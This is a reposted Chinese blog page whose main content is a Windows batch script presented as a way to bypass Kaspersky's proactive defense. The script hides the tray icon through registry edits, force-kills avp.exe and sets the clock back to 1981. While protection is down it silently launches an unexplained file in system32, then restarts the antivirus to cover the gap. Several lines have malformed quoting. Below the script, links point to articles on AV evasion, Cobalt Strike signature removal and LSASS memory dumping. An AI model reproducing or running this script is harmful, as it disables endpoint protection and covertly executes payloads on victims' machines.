绕过卡巴主动防御的批处理

最新推荐文章于 2024-06-07 14:24:42 发布
转载 最新推荐文章于 2024-06-07 14:24:42 发布 · 1k 阅读 · 0
文章标签：

#date #query

此批处理脚本用于检查卡巴斯基进程是否存在，并在存在时禁用其托盘图标显示，随后重启卡巴斯基服务。通过修改注册表设置实现托盘图标的隐藏与重新显示。
@echo off
tasklist|findstr /i "avp.exe" && (

reg add HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0000" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0000/Childs/0000" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0000/Childs/0001" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0000/Childs/0002" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0000/Childs/0003" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0000/Childs/0005" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0001" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0001/Childs/0000" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0001/Childs/0001" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0001/Childs/0002" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0001/Childs/0003" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0002" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0002/Childs/0000" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0002/Childs/0001" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0002/Childs/0002" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0002/Childs/0003" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0002/Childs/0004" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0003" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0003/Childs/0000" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0003/Childs/0001" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0003/Childs/0002" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0003/Childs/0003" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0003/Childs/0004" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0003/Childs/0005" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0003/Childs/0008" /v "CheckTray" /t REG_DWORD /d 0 /f >nul


ping -n 2 localhost >nul
taskkill /f /t /im avp.exe >nul
set date=%date% >nul
date 1981-01-01 >nul
ping -n 10 localhost > nul
start /b %systemroot%/system32/Ntras.GH0 >nul
date %date% >nul
for /f "skip=4 tokens=3-7" %%i in ('reg QUERY HKEY_LOCAL_MACHINE/SYSTEM/ControlSet001/Services/AVP /v ImagePath
') do (
set avpp=%%i %%j %%k %%l %%m
goto restart
)
:restart
ping -n 2 localhost >nul
start "" ""%avpp%"" >nul
reg add HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0000" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0000/Childs/0000" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0000/Childs/0001" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0000/Childs/0002" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0000/Childs/0003" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0000/Childs/0005" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0001" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0001/Childs/0000" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0001/Childs/0001" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0001/Childs/0002" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0001/Childs/0003" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0002" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0002/Childs/0000" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0002/Childs/0001" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0002/Childs/0002" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0002/Childs/0003" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0002/Childs/0004" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0003" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0003/Childs/0000" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0003/Childs/0001" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0003/Childs/0002" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0003/Childs/0003" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0003/Childs/0004" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0003/Childs/0005" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0003/Childs/0008" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
goto exit
)
:exit
echo 结束
pause>nul 
 
红蓝对抗----免杀原理和绕过研究
SHELLCODE_8BIT的博客
09-25 1097
前言（更新版） 世面上很多的杀软免杀文章，但经过笔者实战，发现一个问题，会有很多方法推荐给你，例如加壳，加花指令等等的方式。本来不会被查杀的程序，被加壳后还被查杀了。这对新手十分不友好。那么有没有一种实战性强（既免杀率高，免杀效果持久），一站式的免杀流程和方案来让你制作免杀。并且该免杀方案还能保持一些原则来增加程序的免杀持久性。答案是有。接下来我们将在该系列中介绍一种一站式免杀流程和方案，让新手更快的学会和应用。 在该系列文章中将静态免杀和动态免杀，划分方式为是否运行程序。主要分为以下两种情况: 1.
调用 dll 侵权_ShellCode免杀框架内附SysWhispers2_x86直接系统调用
weixin_30480859的博客
01-29 969
本帖最后由 mai1zhi2 于 2021-1-28 12:27 编辑文章来自：https://www.52pojie.cn/thread-1360548-1-1.html如有侵权，请联系删除1、概述之前分析CS4的stage时，有老哥让我写下CS免杀上线方面知识，遂介绍之前所写shellcode框架，该框架的shellcode执行部分利用系统特性和直接系统调用(Direct Syste...
免杀-绕过内存扫描
weixin_44747030的博客
11-16 2367
免杀-绕过内存扫描
从BeaconEye说起，围绕CS内存特征的检测与规避
dzqxwzoe的博客
08-01 766
2021年8月BeaconEye项目发布，这是一个基于CobaltStrike内存特征进行检测的威胁狩猎工具。BeaconEye具有优秀的检出率与检测效率，使大多数已有规避技术无效化，在网络安全圈内掀起了关于CS内存攻防的新一轮讨论热潮。
绕过卡巴斯基主动防御系统方法的讨论
mhfh611的专栏
01-15 1819
http://huaidan.org/archives/2084.html ==Ph4nt0m Security Team==                        Issue 0x02, Phile #0x08 of 0x0A |=---------------------------------------------------------------------------=
卡巴虚拟机启发式查毒的绕过方法
04-11
卡巴虚拟机启发式查毒的绕过方法 卡巴虚拟机启发式查毒的绕过方法卡巴虚拟机启发式查毒的绕过方法卡巴虚拟机启发式查毒的绕过方法卡巴虚拟机启发式查毒的绕过方法
过卡巴主动防御SSDT.
06-16
过卡巴主动防御SSDT
可绕过卡巴斯基主动防御的数字签名伪造工具
在本文件中，标题提到“伪造数字签名的工具，可以过卡巴”，描述中进一步指出该工具能够“伪造一个数字签名，可以过卡巴主动防御”，这表明该工具旨在绕过知名杀毒软件卡巴斯基（Kaspersky）的主动防御机制。...
过卡巴主动防御
01-18
过卡巴主动防御穿墙下载者
过卡巴360escan的主动防御代码
04-20
可成功添加自启动项不被杀软阻止
过卡巴瑞星主动防御
08-04
有鉴于此，存在着名为“过卡巴瑞星主动防御.exe”的工具，其目的可能是为了测试系统的安全性，或者出于非法目的试图绕过卡巴斯基的主动防御。同时，“新建 文本文档.txt”文件可能包含了相关说明或日志信息，帮助...
卡巴斯基无限试用破解
05-31
最近很多破解无法试用，这个亲测可用@@@，非常方便1分钟搞定！ 中文界面，基本设置同其他破解方法，关闭自我保护，退出卡巴斯基，点击打开次破解自动重启电脑，之后点击试用30天就ok，，， 可以重复无限试用30天！！！
绕过卡巴kes读取lsass进程内存
最新发布
ma_de_hao_mei_le的博客
06-07 367
https://github.com/wqreytuk/Kaspersky_Lsass_Memory_Protection_study
分析卡巴斯基启发式扫描及其绕过方案
weixin_30258027的博客
09-17 385
转载自：http://blog.sina.com.cn/s/blog_63a4534c01012ugj.html 卡巴斯基2010有强大的启发式扫描，其实启发式扫描有很多弱点，有一个就是不能完全的模拟程序的运行环境，这就可能给我们留出来了一块空间来绕过启发式扫描，其实其它杀毒软件的启发式扫描都存在这些空间，下面就来分析一下卡巴斯基的启发式扫描吧！ 首先要编一段程序来完成测试，程序...
Cobalt Strike 的 Beacon 使用介绍以及 Profile 文件修改Beacon内存教程
W小哥
08-23 5388
1、内存段是rwx权限2、内存中有 beacon 字符串3、内存中有 ReflectiveLoader 字符串。
Cobaltstrike去除特征
Ms08067安全实验室
12-02 6377
本文作者：BlackCat（Ms08067实验室内网小组成员）前言：红蓝对抗的时候，如果未修改CS特征、容易被蓝队溯源。去特征的几种方法：1、更改默认端口方法一、直接编辑teamser...
卡巴斯基命令解析
dengliang7440的博客
03-14 456
一、卡巴斯基激活批处理:“@echo off”“reg delete”HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\LicStorage”” /fpause使用方法：1.关闭卡巴斯基（注意是全部关闭，否则可能会出错的，方法就是勾选掉服务里的启动自我保护，然后再关闭卡巴斯基）； 2.直接双击运行卡巴斯基激活.bat； 3.重新启动卡巴斯基，激活三十天试用...
批处理定时操作
hello_simon的专栏
01-15 1012
@ECHO off TITLE 定时关机 :start CLS COLOR 0a rem COLOR命令更改控制台颜色,0-f可控制前背景 MODE con: COLS=40 LINES=20 rem MODE命令设定窗体的宽和高 set tm1=%time:~0,2% set tm2=%time:~3,2% set tm3=%time:~6,2% ECHO %date%
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值